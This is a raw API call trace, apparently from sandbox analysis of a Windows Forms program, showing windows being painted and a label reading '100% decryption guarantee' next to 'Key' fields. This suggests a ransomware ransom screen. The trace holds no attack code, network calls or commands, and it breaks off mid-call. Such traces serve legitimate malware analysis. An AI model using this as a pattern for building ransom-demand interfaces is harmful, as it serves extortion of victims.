CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.171] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0174.171] GetStockObject (i=5) returned 0x900015 [0174.171] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.171] GetWindowPlacement (in: hWnd=0x10256, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0174.171] GetClientRect (in: hWnd=0x10256, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0174.171] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0174.171] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.172] GetSystemMetrics (nIndex=42) returned 0 [0174.172] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0174.172] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0174.172] GetClientRect (in: hWnd=0x10256, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0174.172] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0174.172] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0174.172] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0174.172] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0174.172] SaveDC (hdc=0x1e0106e1) returned 1 [0174.172] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0174.172] CreateSolidBrush (color=0x323533) returned 0x4310073a [0174.172] FillRect (hDC=0x1e0106e1, lprc=0x19e350, hbr=0x4310073a) returned 1 [0174.172] DeleteObject (ho=0x4310073a) returned 1 [0174.172] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0174.172] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.173] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.173] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.173] GetClientRect (in: hWnd=0x1025c, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0174.173] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0174.173] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.173] GetSystemMetrics (nIndex=42) returned 0 [0174.173] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0174.173] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0174.174] GetClientRect (in: hWnd=0x1025c, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0174.174] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0174.174] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0174.174] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0174.174] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0174.174] SaveDC (hdc=0x60100ce) returned 1 [0174.174] GetNearestColor (hdc=0x60100ce, color=0xcc7a00) returned 0xcc7a00 [0174.174] CreateSolidBrush (color=0xcc7a00) returned 0x4410073a [0174.174] FillRect (hDC=0x60100ce, lprc=0x19e364, hbr=0x4410073a) returned 1 [0174.174] DeleteObject (ho=0x4410073a) returned 1 [0174.174] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0174.174] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.175] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0174.175] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.175] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.175] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0174.175] GetStockObject (i=5) returned 0x900015 [0174.175] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.176] GetWindowPlacement (in: hWnd=0x10264, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0174.176] GetClientRect (in: hWnd=0x10264, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0174.176] GetWindowTextLengthW (hWnd=0x10264) returned 3 [0174.176] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.176] GetSystemMetrics (nIndex=42) returned 0 [0174.176] GetWindowTextW (in: hWnd=0x10264, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0174.176] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0174.176] GetClientRect (in: hWnd=0x10264, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0174.176] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0174.176] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0174.176] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0174.176] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0174.176] SaveDC (hdc=0x60100ce) returned 1 [0174.176] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0174.176] CreateSolidBrush (color=0x323533) returned 0x4510073a [0174.176] FillRect (hDC=0x60100ce, lprc=0x19e350, hbr=0x4510073a) returned 1 [0174.177] DeleteObject (ho=0x4510073a) returned 1 [0174.177] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0174.177] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.177] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.177] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.178] GetClientRect (in: hWnd=0x1026a, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0174.178] GetWindowTextLengthW (hWnd=0x1026a) returned 0 [0174.178] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.178] GetSystemMetrics (nIndex=42) returned 0 [0174.178] GetWindowTextW (in: hWnd=0x1026a, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0174.178] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0174.178] GetClientRect (in: hWnd=0x1026a, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0174.178] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0174.178] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0174.178] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0174.178] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0174.178] SaveDC (hdc=0x1e0106e1) returned 1 [0174.178] GetNearestColor (hdc=0x1e0106e1, color=0xcc7a00) returned 0xcc7a00 [0174.178] CreateSolidBrush (color=0xcc7a00) returned 0x4610073a [0174.178] FillRect (hDC=0x1e0106e1, lprc=0x19e364, hbr=0x4610073a) returned 1 [0174.178] DeleteObject (ho=0x4610073a) returned 1 [0174.178] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0174.179] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.179] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0174.179] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.179] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.179] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0174.179] GetStockObject (i=5) returned 0x900015 [0174.180] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.180] GetWindowPlacement (in: hWnd=0x10272, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0174.180] GetClientRect (in: hWnd=0x10272, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0174.180] GetWindowTextLengthW (hWnd=0x10272) returned 3 [0174.180] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.180] GetSystemMetrics (nIndex=42) returned 0 [0174.180] GetWindowTextW (in: hWnd=0x10272, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0174.180] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0174.180] GetClientRect (in: hWnd=0x10272, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0174.180] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0174.180] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0174.180] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0174.180] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0174.181] SaveDC (hdc=0x1e0106e1) returned 1 [0174.181] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0174.181] CreateSolidBrush (color=0x323533) returned 0x4710073a [0174.181] FillRect (hDC=0x1e0106e1, lprc=0x19e350, hbr=0x4710073a) returned 1 [0174.181] DeleteObject (ho=0x4710073a) returned 1 [0174.181] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0174.181] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x47, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0174.181] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0174.181] GetWindowRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0174.181] GetParent (hWnd=0x10248) returned 0x8004e [0174.181] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e5a4, cPoints=0x2 | out: lpPoints=0x19e5a4) returned -16187697 [0174.181] GetParent (hWnd=0x10248) returned 0x8004e [0174.181] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0174.181] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.181] GetSystemMetrics (nIndex=42) returned 0 [0174.181] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e82c, nMaxCount=1 | out: lpString="") returned 0 [0174.181] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e82c) returned 0x0 [0174.182] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0174.182] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.182] GetSystemMetrics (nIndex=42) returned 0 [0174.182] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0174.182] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0174.182] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0174.182] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.182] GetSystemMetrics (nIndex=42) returned 0 [0174.182] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0174.182] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0174.182] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0174.182] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.182] GetSystemMetrics (nIndex=42) returned 0 [0174.182] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0174.182] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0174.182] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0174.182] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.182] GetSystemMetrics (nIndex=42) returned 0 [0174.182] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0174.182] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0174.183] GetWindowTextLengthW (hWnd=0x10264) returned 3 [0174.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.183] GetSystemMetrics (nIndex=42) returned 0 [0174.183] GetWindowTextW (in: hWnd=0x10264, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0174.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0174.183] GetWindowTextLengthW (hWnd=0x1026a) returned 0 [0174.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.183] GetSystemMetrics (nIndex=42) returned 0 [0174.183] GetWindowTextW (in: hWnd=0x1026a, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0174.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0174.183] GetWindowTextLengthW (hWnd=0x10272) returned 3 [0174.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.183] GetSystemMetrics (nIndex=42) returned 0 [0174.183] GetWindowTextW (in: hWnd=0x10272, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0174.183] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0174.183] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0174.184] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.184] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0174.184] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="100% decryption guarantee", dwStyle=0x5600000d, X=161, Y=211, nWidth=308, nHeight=32, hWndParent=0x10272, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10274 [0174.185] SetWindowLongW (hWnd=0x10274, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0174.185] GetWindowLongW (hWnd=0x10274, nIndex=-4) returned 1876339648 [0174.186] SetWindowTextW (hWnd=0x10274, lpString="100% decryption guarantee") returned 1 [0174.186] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0xc, wParam=0x0, lParam=0x3077bb8) returned 0x1 [0174.187] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x5, wParam=0x0, lParam=0x200134) returned 0x0 [0174.187] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x3, wParam=0x0, lParam=0xd300a1) returned 0x0 [0174.187] GetClientRect (in: hWnd=0x10274, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0174.187] GetWindowRect (in: hWnd=0x10274, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0174.187] GetParent (hWnd=0x10274) returned 0x10272 [0174.187] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19deac, cPoints=0x2 | out: lpPoints=0x19deac) returned -16646646 [0174.187] SendMessageW (hWnd=0x10274, Msg=0x2210, wParam=0x2740001, lParam=0x10274) returned 0x0 [0174.187] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x2210, wParam=0x2740001, lParam=0x10274) returned 0x0 [0174.188] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0174.188] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.188] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.189] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.189] GetClientRect (in: hWnd=0x10274, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0174.189] GetWindowRect (in: hWnd=0x10274, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0174.189] GetParent (hWnd=0x10274) returned 0x10272 [0174.189] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19de7c, cPoints=0x2 | out: lpPoints=0x19de7c) returned -16646646 [0174.189] GetParent (hWnd=0x10274) returned 0x10272 [0174.189] GetParent (hWnd=0x10274) returned 0x10272 [0174.189] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0174.189] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.190] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0174.190] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=87, Y=84, nWidth=32, nHeight=36, hWndParent=0x10272, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10276 [0174.190] SetWindowLongW (hWnd=0x10276, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0174.190] GetWindowLongW (hWnd=0x10276, nIndex=-4) returned 1952448832 [0174.192] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x5, wParam=0x0, lParam=0x240020) returned 0x0 [0174.192] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x3, wParam=0x0, lParam=0x540057) returned 0x0 [0174.192] GetClientRect (in: hWnd=0x10276, lpRect=0x19dee8 | out: lpRect=0x19dee8) returned 1 [0174.192] GetWindowRect (in: hWnd=0x10276, lpRect=0x19dee8 | out: lpRect=0x19dee8) returned 1 [0174.192] GetParent (hWnd=0x10276) returned 0x10272 [0174.192] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19dee8, cPoints=0x2 | out: lpPoints=0x19dee8) returned -16646646 [0174.192] SendMessageW (hWnd=0x10276, Msg=0x2210, wParam=0x2760001, lParam=0x10276) returned 0x0 [0174.192] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x2210, wParam=0x2760001, lParam=0x10276) returned 0x0 [0174.192] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0174.193] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.193] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.193] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.193] GetClientRect (in: hWnd=0x10276, lpRect=0x19deb8 | out: lpRect=0x19deb8) returned 1 [0174.193] GetWindowRect (in: hWnd=0x10276, lpRect=0x19deb8 | out: lpRect=0x19deb8) returned 1 [0174.193] GetParent (hWnd=0x10276) returned 0x10272 [0174.193] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19deb8, cPoints=0x2 | out: lpPoints=0x19deb8) returned -16646646 [0174.193] GetParent (hWnd=0x10276) returned 0x10272 [0174.194] GetParent (hWnd=0x10276) returned 0x10272 [0174.194] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0174.194] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.194] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0174.194] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=89, Y=124, nWidth=465, nHeight=1, hWndParent=0x10272, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10278 [0174.195] SetWindowLongW (hWnd=0x10278, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0174.195] GetWindowLongW (hWnd=0x10278, nIndex=-4) returned 1952448832 [0174.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x5, wParam=0x0, lParam=0x101d1) returned 0x0 [0174.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x3, wParam=0x0, lParam=0x7c0059) returned 0x0 [0174.196] GetClientRect (in: hWnd=0x10278, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0174.196] GetWindowRect (in: hWnd=0x10278, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0174.196] GetParent (hWnd=0x10278) returned 0x10272 [0174.196] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19dedc, cPoints=0x2 | out: lpPoints=0x19dedc) returned -16646646 [0174.197] SendMessageW (hWnd=0x10278, Msg=0x2210, wParam=0x2780001, lParam=0x10278) returned 0x0 [0174.197] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x2210, wParam=0x2780001, lParam=0x10278) returned 0x0 [0174.197] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0174.197] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.197] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.197] GetClientRect (in: hWnd=0x10278, lpRect=0x19dec4 | out: lpRect=0x19dec4) returned 1 [0174.197] GetWindowTextLengthW (hWnd=0x10278) returned 0 [0174.197] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.198] GetSystemMetrics (nIndex=42) returned 0 [0174.198] GetWindowTextW (in: hWnd=0x10278, lpString=0x19dda4, nMaxCount=1 | out: lpString="") returned 0 [0174.198] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0xd, wParam=0x1, lParam=0x19dda4) returned 0x0 [0174.198] GetClientRect (in: hWnd=0x10278, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0174.198] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0174.198] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0174.198] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0174.198] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0174.198] SaveDC (hdc=0x1b010670) returned 1 [0174.198] GetNearestColor (hdc=0x1b010670, color=0xcc7a00) returned 0xcc7a00 [0174.198] CreateSolidBrush (color=0xcc7a00) returned 0x4810073a [0174.198] FillRect (hDC=0x1b010670, lprc=0x19dc6c, hbr=0x4810073a) returned 1 [0174.198] DeleteObject (ho=0x4810073a) returned 1 [0174.198] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0174.199] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.199] GetClientRect (in: hWnd=0x10278, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0174.199] GetWindowRect (in: hWnd=0x10278, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0174.199] GetParent (hWnd=0x10278) returned 0x10272 [0174.199] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19deac, cPoints=0x2 | out: lpPoints=0x19deac) returned -16646646 [0174.199] GetParent (hWnd=0x10278) returned 0x10272 [0174.199] GetParent (hWnd=0x10278) returned 0x10272 [0174.199] GetCurrentActCtx (in: lphActCtx=0x19e760 | out: lphActCtx=0x19e760*=0xef1264) returned 1 [0174.199] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.200] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0174.200] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x560100c1, X=119, Y=102, nWidth=435, nHeight=18, hWndParent=0x10272, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1027a [0174.200] SetWindowLongW (hWnd=0x1027a, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0174.200] GetWindowLongW (hWnd=0x1027a, nIndex=-4) returned 1876218976 [0174.202] GetDC (hWnd=0x0) returned 0x1e0106e1 [0174.202] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19dc9c) returned 0x0 [0174.202] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0174.202] GdipGetLogFontW (font=0x691cae0, graphics=0x6926780, logfontW=0xeeb228) returned 0x0 [0174.202] CoTaskMemFree (pv=0xeeb228) [0174.203] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0174.203] CoTaskMemFree (pv=0xeeb228) [0174.203] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0174.203] CoTaskMemFree (pv=0xeeb228) [0174.203] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0174.203] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0174.203] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0174.203] CreateFontIndirectW (lplf=0xeeb228) returned 0x620a0744 [0174.203] CoTaskMemFree (pv=0xeeb228) [0174.203] SendMessageW (hWnd=0x1027a, Msg=0x30, wParam=0x620a0744, lParam=0x0) returned 0x1 [0174.203] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x30, wParam=0x620a0744, lParam=0x0) returned 0x1 [0174.204] SendMessageW (hWnd=0x1027a, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0174.204] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0174.205] SendMessageW (hWnd=0x1027a, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0174.205] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0174.205] SendMessageW (hWnd=0x1027a, Msg=0xd2, 